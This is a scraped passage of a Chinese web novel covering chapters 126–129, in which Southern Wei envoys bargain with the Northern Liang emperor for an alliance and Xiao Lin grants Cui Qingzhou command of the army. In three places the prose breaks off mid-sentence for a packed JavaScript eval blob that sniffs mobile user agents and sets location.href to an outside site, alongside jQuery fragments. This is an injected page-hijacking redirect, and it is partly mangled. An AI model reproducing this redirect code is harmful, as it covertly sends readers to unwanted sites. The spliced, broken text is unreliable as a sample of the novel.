“事到如今我们更该想想接下来要怎么做,”萧祺栩话锋一转,不禁皱眉道:“萧霖为什么不直接回击呢?” 陈京观顿了顿,他看着苏清晓,苏清晓点了点头缓声道:“你这个父亲,怕的事情太多了,他现在面临的可不只是外患,他还有崇宁这个内忧。此时他若出兵,兵权给谁?打下来的天下又该给谁?在他没有十足的把握之前他只能一退再退,他过去这几十年不就是这样过来的吗?” 萧祺栩似懂非懂地点头,可很快又问道:“可若南魏都没了,他们争这个皇位又有什么用?” 苏清晓笑道:“他们现在,宁可同为黄泉鬼,不愿做人裙下臣。” 萧祺栩一时失声,苏清晓侧过身轻轻搂住他的肩膀,“不过等到你大哥去了北梁,这兵权就能顺其自然归到他身上,届时南魏会根据与北梁的谈判结果部署反击的。” “那萧霖算是暂时赢了一局?” 苏清晓顿了顿,故作思索道:“你要这么理解也可以,至少在南魏能拿到兵权的人赢面更大些。” “那崇宁为什么不争一争?” “她在等萧祺桓铩羽而归。” 126.合纵连横(一) 东亭打下阙州的第二天,萧祺桓和薛磐的马车驶进了澄州。 在进城之前薛磐想过他们应该不会被善待,他们如今有求于人,纵使他再怎么表现出一副不卑不亢的样子,也改变不了南魏如今是弱势的一方。 可进城之后的气氛却全然不似薛磐所想,他看到街上巡逻的士兵个个面色凝重,无论是巡逻次数还是人数比起南魏都有过之而无不及,反而他们的突然出现没有引起任何人的关注,可北梁明明还没有被卷进来。 薛磐挥了挥手叫停了马车夫,让他停在了离皇宫不远的一家客栈门口,此时他们的打扮只是一般富贵人家应有的模样,在这澄州不算少见。 薛磐掀开帘子走下车,推脱开了要来搀扶自己的下人,他走到萧祺桓的马车旁低声道:“我们先在这落脚,明日再进宫。” 只听里面的人犹豫片刻问:“我们已经迟了,要是再耽搁下去,北梁皇帝以此为由开出些没有道理的条件怎么办?” 薛磐将帘子掀起一角,他看到萧祺桓微微探着头看自己。 “我是觉得不太对劲,这氛围太奇怪了,在我们进宫之前最好先搞清楚到底发生了什么。” 萧祺桓动作一滞,转瞬点头道:“我明白了,全听您的。” 那天薛磐住进客栈后换了一身寻常人家的布衣,他没有让萧祺桓跟着,自己带了两个随从去了街上。 这澄州的大街乍一看没什么异常,可凭薛磐这些年宦海沉浮的经验,他觉得越是这时候安静,越代表着是有人捂着嘴不让人说话。 薛磐沿着通往赋阳宫的大街一直往前走,他一边走一边看着四周的人群,他是听说过北梁人人皆兵,可他总觉得此时看到的这些人身上带着一股难以言说的戾气。 “店家,你们这的铁匠铺都关门了吗?” 薛磐走到一家卖皮具的商铺门口,掌柜一听他问铁匠,立刻警惕地回问道:“你要做什么?” 薛磐笑着应:“我听闻澄州的武器锻造是世间难得的精良,如今慕名而来想为小女打一把精致小巧的匕首,让她用作防身。毕竟如今世道不太平,女儿家要自己看顾好自己。” 薛磐说话前已经将这家店里里外外看了一遍,他瞧见店里坐着一个约莫十一二岁的小丫头,他想着该是这掌柜的女儿,便决定打一副感情牌。 果不其然,这店家的脸色和缓了许多,他叹了一口气道:“可怜天下父母心,只可惜你来晚了。昨日皇上下令所有铁匠铺全部做了宫家用,说是要替昌安营打一批新刀。” 薛磐缓缓点头,可还没等他说话,那店家又自顾自地继续说:“不过我瞧着他是怕了。” 薛磐眉眼微挑,俯下身与店家拉近距离,“怕?您是说谁?” 店家朝着赋阳宫的位置努了努嘴,眉眼间带着几分懈怠,“昨日那一封《敬告天下人书》,看得我热血澎湃,他若是再迟些下旨,说不定我都得去铁匠铺打一把刀备着。” “《敬告天下人书》?” 薛磐问道,那店家四下看了看示意薛磐跟自己进去,薛磐进到店里顺手伸手揉了揉小姑娘的头发,亲切地问她几岁了,又同她说了几句寒暄的话。 “我瞧着您气宇不凡,不该不知道啊,这文章就是不识字的该都听过了。” 店家手里拿着滕抄下来文章,突然意识到不对劲,他抬头打量着薛磐,招了招手让女儿躲到他身后。 “这几日全耽搁在路上了,每个哨卡都要从头到脚盘查一遍,我连觉都没睡好,哪里能知道这些?” 薛磐打着哈哈,他所说的倒的确是真的,店家又看了他一眼,“您打哪儿来的?” 薛磐应道:“南魏,逃过来的。” 闻言,店家的脸上不经意露出一丝得意,他没有再继续为难薛磐,而是招了招手示意他过来。 “喏,这个就是,基本上人手一份了。不过听说官家这几日要派人来搜,你也就是赶巧,我本来准备烧掉了。” 薛磐道了声谢,接过了店家手里的纸,他越往下读眉头就越紧,这寥寥数语在此时此刻有何威力薛磐是知道的,不过他转念一想后又松了口气。 江阮这一招对南魏没有用。 说来可笑,南魏因为世家风骨闻名,却也因为世家霸权而分崩离析。 这百年来世家已经成了南魏的根骨,寻常百姓纵使没读过几天书的也早就被那所谓的忠君爱国洗脑,大多数人骨子里带着对南魏朝廷的愚忠,这也是廊州百姓为何敢逼陈京观,却不敢逼官府的缘故。 而世家集团下每个人都是依赖君权的,他们企图通过各自的势力在皇帝的手下分一杯羹,这样他们既不用承担皇帝的责任,又能享受仅次于天子的待遇,萧霖颁布的官令其实也是在迎合和巩固他在世家心中的地位。 不知不觉间,南魏从上到下形成了一条平衡的利益链,无论处在这链条哪一段的人都不会轻易打破这平衡,他们知道推翻了萧氏王朝后还会有李氏,有刘氏,只要这皇位没有传到他们头上,他们就只是遵守规则而非制定规则的人。 于是大家默认了其中的蝇营狗苟,维系着南魏的表面和平,下面的人敢怒不敢言,中间的人欺下媚上,而上面的人装聋作哑。 南魏是不会被自己人推翻的,可北梁会。 北梁从根本上而言,本就是由那些被流放在北地,却流着南魏血脉的人建立起来的,所以北梁伊始就选择了与南魏截然不同的道路。 北梁的开国皇帝忌惮世家势力,于是推崇重武轻文,可他又怕功臣拥兵自重,便用军户束缚住了这些兵士的手脚。 在北梁,除了皇帝以外没有谁可以拥有真正的权利,那赋阳宫是敞开宫门,可没有一个人能平步青云。 而江阮这篇文章像是为北梁人量身定制一般,字字不提北梁,却句句都是军户。 既然只靠打仗就能建立一个国家,那我们都打过仗,我们为什么不可以? 这样的想法根植于每一个受困于军户的北梁人心中,这也是诸如汪恕、董辉等人背离北梁的原因,他们爱着这个国家,可这个国家也深深伤害着他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239656|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的北梁犹如被一把火点燃的草原,江阮放大了人们心中对于君权的不满和厌弃,更加深了北梁人对于战争的厌恶。 只有推翻王朝,这一切才能结束,这是定分止争最好的方式。 元焕很明显意识到了这件事情的严重性,他早在很久之前就和陆晁讨论过军户制的弊端,可元衡依仗北梁铁骑为自己踏平天下,他选择了对一切声音充耳不闻。 这是元衡给元焕埋下的引雷,而他刚登基做不了什么,便只能从表面下手,切断了寻常百姓起兵谋反的路。 可这只是治标不治本的方法,薛磐想到这脸上露出一丝不易察觉的笑,他突然觉得明日的谈判他胜算很大,至少能保证让萧祺桓活着回去。 “你说”店家突然开口,薛磐收敛了脸上的表情温和地看着眼前的人,“江阮想做的这件事能成吗?如果这天下真变成他口中的样子,我们会成什么样?” 薛磐没有回答,他将手里的纸重新折回四四方方的样子,双手递给了店家,而后又见他顿了顿从怀里拿出一枚荷包。 “送给你。” 薛磐把荷包递到小姑娘面前,小姑娘犹豫地抬头望了望父亲,店家微微点头,小姑娘接过荷包道了声“谢谢”。 “无论他描绘的世界能不能成真,听我一句,守好姑娘好好过日子。天下是天下人的天下,可也只是少数人的天下。” 薛磐微微欠身向店家行礼,店家还沉在他的话里半天回不过神来,等他在抬头时薛磐已经走远了。 店家身后的小姑娘小心翼翼拉开荷包,里面放着一枚南魏早先时候的铜钱。 传说得此铜钱者如得官令。 回到客栈后,薛磐叫了萧祺桓到自己的屋子,他将那封《敬告天下人书》一字不差地背给了萧祺桓。 萧祺桓听罢半天说不出一句话,薛磐挥手避退了下人,起身将窗户开了一个缝隙,夜半的冬风沿着窗棂直吹向萧祺桓的身子,他沉吟片刻后道:“您说,那样的世界是好的吗?” 见薛磐没回答,萧祺桓又继续道:“南魏如今不过是又回到了十年前,回到了陈频还没有死的时候,他的死只是给南魏的政斗画上了一个逗号,我们却想当然以为一切都结束了。” “父亲从来都没有变过,他幼年时就靠着蛰伏掩蔽锋芒,姑姑以为他懦弱,可真的懦弱的人压根不敢坐那个位子,后来他继续蛰伏,他不过是等着姑姑哪一日登高跌重,他真的好有耐心。” 萧祺桓说着说着突然笑了,“他此时也在等,他要熬死姑姑,要熬到这南魏非他不可的那一天。” “可是那一天真的来了的时候,南魏还是南魏吗?” “你不可以有这个心思,”薛磐突然开口,萧祺桓抬头看着他的眼睛,“无论天下人如何说,如何认为,你都不可以有丝毫动摇。” “为什么?” 薛磐目光间多了一丝恍惚,萧祺桓看他慢慢走到自己身边,用自己挡住了那阵阵寒风。 “当天下归属天下的时候,那才是乱世的开始。” 127.合纵连横(二) 第二日,晨光还未透过围帘照进来,薛磐的房门突然被人敲响,他早起在榻上看书,听见响动后披了一件衣服踏着鞋,走到门口的时候突然止住动作。 “是谁?” 门外的人隐约能从门上看到个轮廓,薛磐的手放在门拴上,他确定不是萧祺桓。 “元焕。” 薛磐微微蹙眉,他又定睛打量了一遍眼前的人影,随后推开门。元焕身上还沾着雪,肩膀上的水渍将紫红色的衣袍沁得发黑。 “南魏使臣薛磐,参见北梁皇帝。” 薛磐应声跪地朝元焕行礼,他瞧见元焕抬手支走了跟在身后的随从,然后朝他伸过来一只手。 “薛大人免礼,是我今日不请自来唐突了。” 薛磐轻轻攀上元焕的手,站起来后躬着腰答道:“还望陛下恕薛某无礼,昨日到临澄州时时辰已晚,本想着今日整顿一番即刻随殿下进宫。是老夫考虑不周,让陛下久等了。” 薛磐说话时目光穿过元焕身侧,他看到昨日还熙熙攘攘的客栈,今天除却楼下侍奉的店家和两个跑堂的,只剩下随元焕一同来的侍卫。 元焕没有在意薛磐的打量,他绕过薛磐坐到了屋子中央的木凳上,薛磐转身说道:“还请陛下稍候,我这就去请桓殿下。” “薛大人且慢。” 元焕的声音止住了薛磐的动作,薛磐背对着元焕,却依旧能感觉到他留在自己身上的目光。 “在洽谈盟约前,我想先与薛大人聊聊天。” 薛磐缓缓回过身应道:“这不合礼数。” 元焕轻笑一声,薛磐抬眼瞧他,只见元焕解开了身上的大氅,将衣服随意搭在桌上,他一手撑着桌子,侧仰着头看薛磐。 “薛大人当真要和我谈礼数?那你们迟到的这些日要怎么算?进我澄州不报又要怎么算?” 元焕脸上笑意渐浓,“我今日能亲自出宫来找你一趟,为的就是撇开礼数与薛大人交心。有些话碍于彼此的地位说不得,可离了赋阳宫,薛大人权且当我是一个虚心求教的晚辈。” 薛磐没有应答,只是将挂在肩头的衣服穿戴好,挑了一个与元焕面对面的位置坐下。 “想必南魏的传闻不会是空穴来风,”元焕开门见山道,“当年萧霖突然得了圣旨,紧接着老丞相暴毙而亡,这其中应当是有薛大人的手笔吧。” “陛下说笑,我哪有那撼天动地的本事。” 薛磐没有正面回应元焕的问题,元焕满不在意地撇了撇嘴继续道:“你该是崇宁一党,毕竟没有她也就没有后来的薛家,你怎的会应了萧霖的旨意陪萧祺桓来做着要命的买卖?” “臣本小小户部给事中,幸得长公主殿下赏识,引我了进仕途,如今又得了皇上信赖,将出使之任予了我,我只有尽心竭力的份儿,哪里能揣度圣意?” 元焕笑着没说话,薛磐顿了顿继续道,“若是陛下想从我这里得到些南魏党争的消息,恕老夫无能,您应当也看得出,他们不在乎我的死活。” “那你跑这一趟是为什么?” 薛磐长叹一口气道:“为了替我女儿守住她的孩子。这个理由陛下信吗?” “您说的,我自然信。” 薛磐嘴角沁出一抹笑,他无奈摇头道:“其实您不用费尽心思打探南魏朝廷的内情,他们不管怎么斗都总得保住这个位子,现如今南魏式微是真,我们示弱也是真,我能出得了南魏的国门,总还是因为他们都准许了的。您大可以放心与我谈,我带回去的消息会有用的。” 见薛磐没有再打哑谜的意思,元焕眉眼间多了一分兴趣,他将撑着脑袋的手换了个方向,挑着自己的下颌看着薛磐,久久没有说话。 “陛下还有什么想问的,老夫知无不言。” 元焕勾起嘴角道,“薛大人让我想到了一个人。” “谁?”薛磐直视着元焕。 “我朝先前的宰相,林均许。” 薛磐神色怔了怔,有关林均许的事情他听陈频说过不少,他佩服林均许可以在北梁这样的环境中稳坐丞相之位,可当时林均许被贬沧州,薛磐差点以为他步了自己的后尘。 “陛下谬赞,老夫哪能和林大人相比,相才终究是相才。” 闻言,元焕的眼睛闪过一丝不明觉厉的情绪,薛磐抿了抿嘴继续道:“若陛下现在信得过我了,那不妨叫来桓殿下一同商议同盟之事?我终究是做不了主的。” 薛磐故作愧色地微微一笑,元焕点了点头,薛磐起身后突然又顿住。 “既然陛下早就知道我们来了澄州,那想必我的一举一动您该都知道,那我知道了什么,您也该都知道。” 元焕倒茶的动作一滞,他望着桌上洒出来的几滴水,眼神中的多了几分玩味。 “所以薛大人是有了与我谈判的底气,今日才会放任我说了许多搓磨您的话吗?”元焕调笑道,可转瞬冷了调子,“若不是江阮此举,我根本就不会出现在这里。” 薛磐笑而不语,他招来门口噤若寒蝉的随从,微微仰头指了指萧祺桓的方向。他知道萧祺桓应当早就知道元焕来了,他倒是比薛磐想得更能沉住气,他的房门紧闭着,装作什么也没发生的样子。 不知为何,薛磐想到了萧祺桓昨日评价萧霖的话,他觉得萧祺桓倒是和年少时的萧霖有几分相似,不过这也好,这样的性格求个全身而退总是不难的。 薛磐立在门口看着萧祺桓的屋子,屋内的元焕不停打量着薛磐,他在来之前知道薛磐是个不显山不露水的人物,却没想到他心里的算计还真是少见。 如今南魏朝堂塞满了世家送进来的人,科举考试成了他们为自家谋权的工具,而早在苏门三子之前,南魏的学子无人不识薛君慎。 此人万不能小瞧,元焕心里默默说道,脸上的神色渐渐沉了下来。 “在下南魏太子萧祺桓,见过北梁皇帝。” 萧祺桓一袭白衣出现在屋门口,元焕回过神来应道:“桓殿下客气,坐吧。” 萧祺桓微微点头,却做了一个迎请的手势,让薛磐先自己一步进屋。 “殿下很是怜惜贤才,”元焕将萧祺桓的所有动作收在眼中,“想必他日殿下即位,定能还南魏一个海晏河清。” 萧祺桓装作没有听出元焕话中深意的样子,笑着应道,“殿下赞誉我愧不敢当,方才所为只因薛大人是我长辈,况如今能陪我来北梁的,除薛大人无二,我心中满是感激。” 萧祺桓说话时朝薛磐笑了笑,元焕看见了薛磐脸上难得一见的慈祥。 “无论出于何原因,我能看得出桓殿下是个仁义之人,有您这样的人掌着南魏,于南魏与天下都是好事。” 萧祺桓刚坐下,听到元焕这句话又站起身行礼道:“还请陛下不要妄言,我父亲尚且安在,南魏之君只能是他。” 元焕微微挑眉,脸上笑意渐浓,他装作不经意抬头看了薛磐一眼,萧祺桓的反应替薛磐做了回答。 无论今后南魏是何态势,如今是萧霖更胜一筹。 “那今日桓殿下不远万里递上盟约,南魏对促成此事有何诚意?我北梁如今损失几座边城是小,南魏损兵折将失了阙州,日子应该不好过吧。” 方才薛磐的暗示元焕当然听得明白,他也相信凭借薛磐的智谋一定能看得出江阮那篇文章给北梁添了多大的乱子,可自乱阵脚是谈判大忌,元焕不想用一个还未到来的危险去换眼前的肥肉。 萧祺桓当然也听出了元焕的意思,他身子微微前倾,放低了自己的姿态道:“父亲能给的,是长城和泯川江。” 元焕眉眼间流露出一丝愉悦,那长城是南魏提议修建的,若用长城困住南魏,对北梁来说是瓮中捉鳖的底牌。只是泯川江的利益倒显得没那么诱人,且不论如今是东亭在控制泯川江中段,就是来日东亭覆灭,北梁处在水源上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛磐立于萧祺桓身后,元焕提到陈京观的时候不知为何看了他一眼,薛磐毫不掩饰地对上了元焕的视线,薛磐第一次在元焕眼中看到了愠怒。 “我朝如今尚无领兵之将,兵权暂时掌在父亲手中,若是陛下信得过,我愿意亲率三万精兵与昌安营互为策应,从敬安山两侧夹击敌军,先将你我之间的阻碍打通。” 萧祺桓说话时感觉身后的薛磐好几次想要伸手打断自己,可最终他还是让萧祺桓说出了这句话,他们都知道这是元焕的真意。 萧祺桓即使在南魏再无依仗,至少他是萧霖亲自扶上位的太子,萧霖不可能见死不救。 元焕不允许陈京观的事情重蹈覆辙了,那场仗纵使百年之后再被人谈起,都依旧令人唏嘘。 “殿下有此魄力何愁失地难回,我应你,我军会在十日后于平州集结。不过这一次我只能给你两万人,而且不会派随军将领,能不能打得赢,全看殿下的手腕。” 萧祺桓沉默片刻后点头,“好,多谢陛下。” 元焕没有再理会眼前两人眉来眼去的动作,他眼底藏着笑意站起身,将桌上的大氅拍了拍,掸掉了落在上面的泥草,守在门口的侍卫推开门,元焕微微朝萧祺桓点头示意。 “那我在北梁静候佳音,望殿下旗开得胜。” 萧祺桓微微欠身行礼道:“我自当尽力,为南北之谊开个好头。” 元焕离开后,晨光姗姗来迟,薛磐退散了周遭服侍的下人,一言不发地坐到了萧祺桓对面。 “您是觉得我们还是会输?” 萧祺桓笑着说,薛磐竟真的没从他脸上看到一丝畏惧。 “我身为南魏太子,本就在朝中无所依仗,若再不能凭自己立威树德,何人能服我?我自知太子非天子,可只差一步之遥,我要说我没有企图,您信吗?” 萧祺桓说话时一直没有直视薛磐,薛磐的目光却长久地停留在他的脸上。这些年他很少入宫,连薛雯昭都见不了两面更何谈自己这个外孙,薛磐此时看萧祺桓,心中五味杂陈。 他当然明白萧祺桓心中的欲望和野心,这皇家的人生来就是沾染权斗的,谁都逃不过,可出于自己的私心,薛磐只希望萧祺桓如过去二十几年一样平安顺遂就好。 “况且南魏的国运不该止于此,父亲退了又退,最后不还是要站出来和姑姑对立,我们退了又退,也还是要真正去打一场仗的。人总不能死得不明不白。” 128.合纵连横(三) 南北之盟有了雏形,萧祺桓立刻往盛州去了一封信,他没有提及与元焕谈判的细节,也没有说明元焕对南魏内情的刺探,说到自己要领兵出征时一笔带过,在落笔处加了一句“望母安”。 他知道这封信萧霖会和薛雯昭一起看,他也知道母亲又要为他的轻率决定牵肠挂肚,可萧祺桓不后悔,他觉得南魏该赢了,自己也该赢了。 从朔州一战后,崇宁加紧了各地征兵的动作,传闻民间怨声载道,却没有人敢真正反抗命令。 崇宁这么年在各地的势力也通过征兵之事显现出来,虽然萧霖最后还是通过一纸圣意才夺来了兵权,可这兵营里到底谁说了算却不能只靠他的三言两语。 崇宁在征兵结束后亲自去了一趟景州的兵营,她身边站着的崔擎舟被当场任命为大将军。 从前崔擎舟身上的虚名不少,可这一次临危受命不同以往,他没有再随崇宁返回阙州,而是举家搬到了景州,就住在离陈京观旧宅不远处。 对于崔擎舟的上任,萧霖心中或多或少有所担忧,只是崔擎舟这个人他拿不定主意,不知为何他总觉得崔擎舟不像周原任一般对崇宁死心塌地,崔擎舟依仗崇宁不假,可更贴切的是崔擎舟在依仗崇宁的权力,而非这个人。 崔擎舟自始至终想要的只是大将军的位置,是南魏的兵权,是凯旋而归的喜悦。 于是萧霖默许了崇宁的任命,他派莫汝安时刻盯着崔擎舟的动向,如果他有投敌叛国或者意图谋反的心思,哪怕只是意图,萧霖都会以最决绝的手段清除异己。 可直到萧家迁都盛州,崔擎舟作为护军领兵断后,他也没有表现出任何对于南魏的不忠。 崔擎舟在兵部待了半辈子,只有这短短几个月他感觉自己真的活着。 在萧霖收到萧祺桓的来信后,崔擎舟被叫到了行宫的书房,这是他第一次被萧霖单独约见,而且前来知会的太监开口就叫他“崔将军”。 “末将崔擎舟参见陛下。” 崔擎舟单膝撑地,萧霖背对着他道了声“免礼”。 崔擎舟直起腰,他看见萧霖依旧没有要转身的意思,他顺着萧霖的目光望去,一枚虎符安静地躺在桌上。 崔擎舟下意识咽了咽口水,目光闪烁道:“皇上今日宣臣觐见,怕不是太子殿下有了消息?” 萧霖“嗯”了一声,“怪不得姐姐喜欢崔将军,崔将军还真是玲珑心窍,什么都一清二楚。” 崔擎舟没有应声,他看到萧霖微微转身,从他露出的半张脸上崔擎舟瞧见了不明觉厉,“崔将军,那日甄大人是听了你的话才对我产生怀疑的是吗?看来你对立储一事另有高见,怎的那日朝会上没有提出来?” 崔擎舟动作一滞,慌忙跪地叩头道:“陛下恕罪!臣万不敢妄言储君之事,那日堂前我不过是与甄大人攀谈,许是我口不择言说了什么让甄大人误会,那定是无心之失!” “崔将军言重了,我是真的很好奇崔将军这八面玲珑的皮囊下,究竟有没有一副真面孔?” 崔擎舟感觉自己身前被阴影笼住,他看到萧霖不知何时走到了自己面前,那双苏绣的靴子离他的鼻尖不过分毫。 “臣崔擎舟一心只为南魏,若能以己身躯换南魏山河无恙,我万死不辞。” 崔擎舟的声音里依旧有一丝颤抖,只是他感觉眼前的人缓缓俯下身,一只手搭在了他的肩上,然后慢慢滑落作势要将他拉起。 “崔将军起来说话,武将的膝盖软不得。” 萧霖的话让崔擎舟没有推脱的余地,他小心翼翼撑着地起来,却依旧将头埋在胸口。 萧霖见他没有想要回答的意思,松开后朝后退了两步。他没有对崔擎舟这副鸵鸟样子发表任何看法,他只觉得若崔擎舟真是崇宁的人,那他演戏的水平太过拙劣,崇宁看不上这样的人。 “我没有兴师问罪的意思,崔将军大可放心,我只有一事思来想去寻不到个根据,你替我想想?” 崔擎舟恭敬地俯下身,萧霖伸手将半块虎符握在手里,他用拇指摩挲着虎符上面镶嵌的金线,若有所思道:“崔将军为何如此笃定我让太子出使北梁就是让他去送死?一个人过去做过错事,他这辈子便都是错的吗?” “臣不敢揣测圣意。” 崔擎舟一句话将萧霖的所有问题堵了回去,萧霖侧过头看了他一眼,无奈地笑着道:“所以今日我从崔将军这什么也问不出来是吗?罢了,崔将军回去吧。” 萧霖说着就要转身往里屋走,可背后的人没有要离开的意思,当萧霖的手扶上门边时,崔擎舟突然开口。 “臣虽愚笨,却也不是个实心的,陛下今日大费周章叫了我过来,我明白您的意思。只是那日臣所说确无人指使,臣字字句句皆是出自本意,我希望甄大人能再想想,不要做让自己后悔的决定。” “你是说立大皇子为储会让他后悔?” 萧霖没有转身,崔擎舟摇头的动作他也没有看到。 “我是怕若太子重蹈覆辙,届时甄大人会认为一切都是自己的问题。”崔擎舟顿了顿,“甄大人是现今朝堂上为数不多还在为南魏拼命的人了,我只想让他的步子轻松一些。” 萧霖转过身,崔擎舟依旧站在原地,他们之间只隔了半座宫殿,萧霖却好像已经看不清他了。 “崔将军是爱才,还是为了其他?” 萧霖话里的意思崔擎舟听得明白,如今甄符止是萧霖心尖上的宠臣,若是崔擎舟能帮崇宁将这股势力拉拢过去,这南魏朝局也就定了。 可崔擎舟苦笑道,“皇上以为呢?” 萧霖没想到崔擎舟这般大胆,却也不禁被他的反问挑起兴趣,他向前走了几步坐到榻上,将手里的虎符与桌上的另一半拼好。 “我自是不会难为崔将军,我今日寻你来,为的是把这半个虎符交到你手里。” 萧霖抬头对上了崔擎舟的目光,他看到眼前的人动作一滞,惶然跪倒在地,可没等崔擎舟谢恩,萧霖又继续道:“只是这兵权是我好不容易抢来的,说什么也不能再还回去,崔大人说是不是?” 崔擎舟佝偻着腰没有应,萧霖望了一眼桌上的虎符,又看了一眼地上的崔擎舟,最后目光落到了窗外还未消融的白雪上。 “快二月了,这大雪还是没完没了。我以前其实很喜欢雪,后来上了年纪,骨头松了,每次下雪总不免要湿了膝盖,那疼痛崔将军可受过?我记得你曾经跟着陈频去西芥的时候也受过伤,后来好全了吗?” “劳陛下挂念,臣只是肩膀受了刀伤,这十年修养,早已无碍。” 崔擎舟话里有话,萧霖嘴上念叨着“无碍就好”,转瞬又问道:“十年了,崔将军还记得怎么杀人吗?” 崔擎舟藏在袖子里的手慢慢握紧,双眼却渐渐失焦,“记得,只要想起那些跟自己出去的人是怎么死的,我就永远忘不了。” 萧霖点头道:“是啊,只要还记得那些为自己而死的人,有谁能真的放得下,能真的不在乎。” 崔擎舟抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250281|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥了萧霖一眼,他听出萧霖是在回应他刚才的问题。 陈频死了,六皇子死了,所有人都说萧霖薄情寡义,说他断了君臣义,毁了父子情,所有人都觉得萧霖不在乎任何人,可此时此刻萧霖说他从来没忘掉,也忘不掉。 那这十年萧霖是怎么过的? 崔擎舟眉眼微微震动,他在这南魏朝堂待了小二十年,当然不会被萧霖三言两语打动。只是他觉得是时候要将自己心底的话说出来了,萧霖是个有耐心的,可他毕竟是皇帝,他崔擎舟有什么权力去质问他,萧霖能做到这个份儿上已经很好了。 君臣终究是君臣,他弯了一辈子腰,这次低一回头又能怎么样? “皇上的意思微臣明白了,有些话您说不出口,我也说不出口,那就得过且过,人揣着糊涂也能活。” 崔擎舟的话逗笑了萧霖,他的神色和缓了些,他没有反驳崔擎舟,而是静静地听他继续说。 “您若是问我‘廉颇老矣,尚能饭否’,我可以肯定地说我等这场仗等了十年,或许更久。您若是问我为何打仗,”崔擎舟眼神闪过一丝落寞,“我七岁习武,而周围的伙伴为了考个功名都去读书了,父亲说我没出息,可我说坐江山也得用兵。我现在也是这句话,南魏颓势不在朝夕,只募兵不屯兵之策应对不了前路莫测。兵不在多,可不能没有。” 崔擎舟说罢试探地望了萧霖一眼,萧霖没有打断他的意思,可他却有些犹豫了。 方才萧霖主动提了陈频,可崔擎舟的身份能不能提,他又能不能提陈京观?崔擎舟拿不定主意。 “崔将军还想说,陈频是前车之鉴,陈京观是重蹈覆辙,南魏的士气就是被这一次又一次失败消磨掉的,对吗?” 崔擎舟默不作声地点头,萧霖神色如常,只是沉默了一会儿后长叹一口气。 “崔将军过去从未曾踏进我的书房,从未对我说过这番话,是对我失望了,还是选择了弃暗投明?” 崔擎舟听得出萧霖依旧在试探,不过他谨慎了一辈子断不会轻易松口,他不想还未出这行宫门就被什么莫须有的罪名处死,他已经看到虎符了,他马上就能领兵出征了。 “我只是在等,等皇上如今日一般唤我一句崔将军。” 崔擎舟话音刚落,屋里便响起萧霖的笑声,崔擎舟愣了愣,也陪着萧霖笑起来。 “那说起来倒是我的问题,我要给崔将军虚度的十年光阴赔个不是。” 崔擎舟的笑变得苦涩,他嘴角微微抽动。十年,他甚至不知道自己这十年过得什么日子,他不知道自己是靠什么撑到了今天,他不知道自己为何会为了活着变成少时自己最瞧不起的人。 趋炎附势,油嘴滑舌,卑躬屈膝,这是词语都是崔擎舟最唾弃的,十七岁的他拿着一把剑单挑三个御前侍卫,一举拿下武选状元,可从那以后他再也没有拿起过那把剑。 当初陈频到军营里选人,那些有家世背景的都不愿意跟他,他们看得出陈频出征是九死一生,只有崔擎舟朝着母亲磕了三个头,背着一个小小的包袱到了陈府。 他真的以为属于他的时代要来了,北梁有陆晁,南魏便可以有崔擎舟。 后来的一切粉碎了他的梦,将他从云端拉入泥土,他被扶上了兵部尚书的位置,他就像是萧霖为了纪念陈频的一座墓碑。 十年了,崔擎舟没想到自己还能再看见那枚虎符。 “陛下,您若是信得过,我崔擎舟以命起誓,不把失地夺回来我永不回朝。” 129.合纵连横(四) 崔擎舟都快记不得自己上一次拿起这枚虎符时是什么心情了,萧霖将半块虎符放在他手心,当他刚要收手的时候却又拦住他的动作,将另外半块也一并给了他。 “皇上这是?” 崔擎舟抬眼看着萧霖,萧霖的脸上没由来地露出难色,崔擎舟望着手心里躺着的虎符,心里也猜出来了个七七八八。 “太子殿下要领兵?” 萧霖点头道:“对,这是北梁的条件,虽然太子没有明说,可我看得出。元焕虽不及他父亲的心机,却也是个城府颇深的人,他此举无疑是将南魏与他的兵绑在了一起,他赌我不会放着桓儿不管。” 崔擎舟默不作声,萧霖又抬眼望他,“崔将军觉得为难?是因为有太子在营中你觉得不自在,还是觉得保护太子这件事太困难?若是前者你大可放心,萧祺桓的谨慎随了他母亲,你在营中绝不会受到他的牵制,若是后者,那崔将军可以选择把虎符还给我。” 萧霖说着就要来拿崔擎舟手里的东西,崔擎舟下意识向后退道:“武将岂能临阵脱逃,我只是觉得太子殿下此举太过冒险。我定会拿出全力应对敌军,可战场上刀剑无眼,太子殿下不该用自己的命去换一个盟约。” 萧霖怔了怔,轻笑道:“生在皇家,所有人都以为我们想要什么就能有什么。可只有我们自己知道,我们想要什么,得去争,去抢,得用自己去换。” 萧霖说完伸出手扶住崔擎舟的肩膀,崔擎舟没敢抬头看他,他只觉得眼前的人盯着他的目光炙热无比,他像是要被看穿最后那点心思了。 “我们把我们能做的都做了,接下来就看崔将军的了。” 崔擎舟什么话也没说,萧霖看到他目光游移,于是轻声询问道:“崔将军还有何顾虑,大可以一并提出来。今日我与你算得上开诚布公,崔将军事到如今还是不信我?” 崔擎舟摇头,他看了看手上的虎符,将它们贴在胸口收好,后退了一步跪倒在地。 